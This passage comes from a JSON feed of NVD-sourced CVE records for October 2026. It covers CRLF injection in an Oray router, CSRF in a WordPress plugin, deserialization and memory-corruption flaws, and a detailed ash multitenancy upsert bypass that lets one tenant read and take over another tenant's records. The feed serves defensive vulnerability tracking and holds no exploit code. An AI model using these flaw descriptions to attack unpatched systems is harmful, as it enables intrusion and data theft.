fixes.","publishedAt":"2026-10-26T09:16:34.953Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116234","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116234","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116234","type":"primary","publishedAt":"2026-10-26T09:16:34.953Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116233","cveId":"CVE-2026-116233","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq.","summary":"A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq. The manipulation of the argument rent_time leads to crlf injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq. The manipulation of the argument rent_time leads to crlf injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T09:16:34.787Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116233","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116233","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116233","type":"primary","publishedAt":"2026-10-26T09:16:34.787Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111841","cveId":"CVE-2026-111841","aliases":[],"kind":"vulnerability","title":"Cross-Site Request Forgery (CSRF) vulnerability in Aman FunnelKit Automations wp-marketing-automations allows Cross Site Request Forgery.This issue affects FunnelKit Automations:...","summary":"Cross-Site Request Forgery (CSRF) vulnerability in Aman FunnelKit Automations wp-marketing-automations allows Cross Site Request Forgery.This issue affects FunnelKit Automations: from n/a through 3.8.5.2.","detail":"Cross-Site Request Forgery (CSRF) vulnerability in Aman FunnelKit Automations wp-marketing-automations allows Cross Site Request Forgery.This issue affects FunnelKit Automations: from n/a through 3.8.5.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T09:16:34.207Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111841","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111841","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111841","type":"primary","publishedAt":"2026-10-26T09:16:34.207Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96581","cveId":"CVE-2026-96581","aliases":[],"kind":"vulnerability","title":"Authorization Bypass Through User-Controlled Key vulnerability in ash-project ash allows a user of one tenant to read, overwrite and take over another tenant's records via an...","summary":"Authorization Bypass Through User-Controlled Key vulnerability in ash-project ash allows a user of one tenant to read, overwrite and take over another tenant's records via an upserting create action.\n\nUnder attribute multitenancy, Ash.Actions.Create (lib/ash/actions/create/create.ex) and Ash.Actions.Create.Bulk (lib/ash/actions/create/bulk.ex) upserted on the primary key, or on an all_tenants? identity, without scoping the conflicting record to the request's tenant. A caller of a create action with upsert? true that accepts the primary key, supplying a record id from another tenant, updated that record's upsert fields and received all of its attributes in the result. With the default upsert fields the tenant attribute was written too, moving the record into the caller's tenant. Read and update policies do not run for upserts, and tenant-scoped create policies pass because the tenant is the caller's own.\n\nThis issue affects ash: from 1.22.0 before 3.37.2.","detail":"Authorization Bypass Through User-Controlled Key vulnerability in ash-project ash allows a user of one tenant to read, overwrite and take over another tenant's records via an upserting create action.\n\nUnder attribute multitenancy, Ash.Actions.Create (lib/ash/actions/create/create.ex) and Ash.Actions.Create.Bulk (lib/ash/actions/create/bulk.ex) upserted on the primary key, or on an all_tenants? identity, without scoping the conflicting record to the request's tenant. A caller of a create action with upsert? true that accepts the primary key, supplying a record id from another tenant, updated that record's upsert fields and received all of its attributes in the result. With the default upsert fields the tenant attribute was written too, moving the record into the caller's tenant. Read and update policies do not run for upserts, and tenant-scoped create policies pass because the tenant is the caller's own.\n\nThis issue affects ash: from 1.22.0 before 3.37.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T08:17:20.423Z","updatedAt":"2026-10-26T15:16:47.257Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96581","asOf":"2026-10-26T15:16:47.257Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96581","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96581","type":"primary","publishedAt":"2026-10-26T08:17:20.423Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116232","cveId":"CVE-2026-116232","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in Oray Pugongying X5 Pro 7.6.1. This affects the function snmp_set of the component SNMP Handler.","summary":"A weakness has been identified in Oray Pugongying X5 Pro 7.6.1. This affects the function snmp_set of the component SNMP Handler. Executing a manipulation of the argument info.community can lead to crlf injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A weakness has been identified in Oray Pugongying X5 Pro 7.6.1. This affects the function snmp_set of the component SNMP Handler. Executing a manipulation of the argument info.community can lead to crlf injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T08:17:17.837Z","updatedAt":"2026-10-26T17:17:24.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116232","asOf":"2026-10-26T17:17:24.717Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116232","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116232","type":"primary","publishedAt":"2026-10-26T08:17:17.837Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116231","cveId":"CVE-2026-116231","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net.","summary":"A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net. Performing a manipulation of the argument regmsg results in crlf injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net. Performing a manipulation of the argument regmsg results in crlf injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T08:17:17.620Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116231","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116231","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116231","type":"primary","publishedAt":"2026-10-26T08:17:17.620Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116230","cveId":"CVE-2026-116230","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in Ndemic Creations Plague Inc Evolved up to 1.24.0.3. The affected element is an unknown function of the component Workshop Scenario Loader.","summary":"A vulnerability was identified in Ndemic Creations Plague Inc Evolved up to 1.24.0.3. The affected element is an unknown function of the component Workshop Scenario Loader. Such manipulation leads to deserialization. The attack may be performed from remote. Upgrading to version 1.24.0.4 is sufficient to fix this issue. It is recommended to upgrade the affected component.","detail":"A vulnerability was identified in Ndemic Creations Plague Inc Evolved up to 1.24.0.3. The affected element is an unknown function of the component Workshop Scenario Loader. Such manipulation leads to deserialization. The attack may be performed from remote. Upgrading to version 1.24.0.4 is sufficient to fix this issue. It is recommended to upgrade the affected component.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T08:17:17.427Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116230","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116230","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116230","type":"primary","publishedAt":"2026-10-26T08:17:17.427Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116124","cveId":"CVE-2026-116124","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in GNOME libgsf up to 1.14.60. The impacted element is the function ole_info_read_metabat of the file gsf/gsf-infile-msole.c of the...","summary":"A security vulnerability has been detected in GNOME libgsf up to 1.14.60. The impacted element is the function ole_info_read_metabat of the file gsf/gsf-infile-msole.c of the component OLE2 Parser. The manipulation leads to heap-based buffer overflow. The attack can be initiated remotely. The identifier of the patch is a8e25560b74f84c3f86df6ca0ac59195fa5af68a. It is recommended to apply a patch to fix this issue.","detail":"A security vulnerability has been detected in GNOME libgsf up to 1.14.60. The impacted element is the function ole_info_read_metabat of the file gsf/gsf-infile-msole.c of the component OLE2 Parser. The manipulation leads to heap-based buffer overflow. The attack can be initiated remotely. The identifier of the patch is a8e25560b74f84c3f86df6ca0ac59195fa5af68a. It is recommended to apply a patch to fix this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T07:17:09.197Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116124","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116124","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116124","type":"primary","publishedAt":"2026-10-26T07:17:09.197Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107900","cveId":"CVE-2026-107900","aliases":[],"kind":"vulnerability","title":"V-SFT provided by FUJI ELECTRIC CO., LTD.","summary":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6ComFile!CCheck::ItemCheck. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.","detail":"V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6ComFile!CCheck::ItemCheck. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T07:17:08.360Z","updatedAt":"2026-10-26T15:16:36.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107900","asOf":"2026-10-26T15:16:36.540Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107900","type":"primary","publishedAt":"2026-10-26T07:17:08.360Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 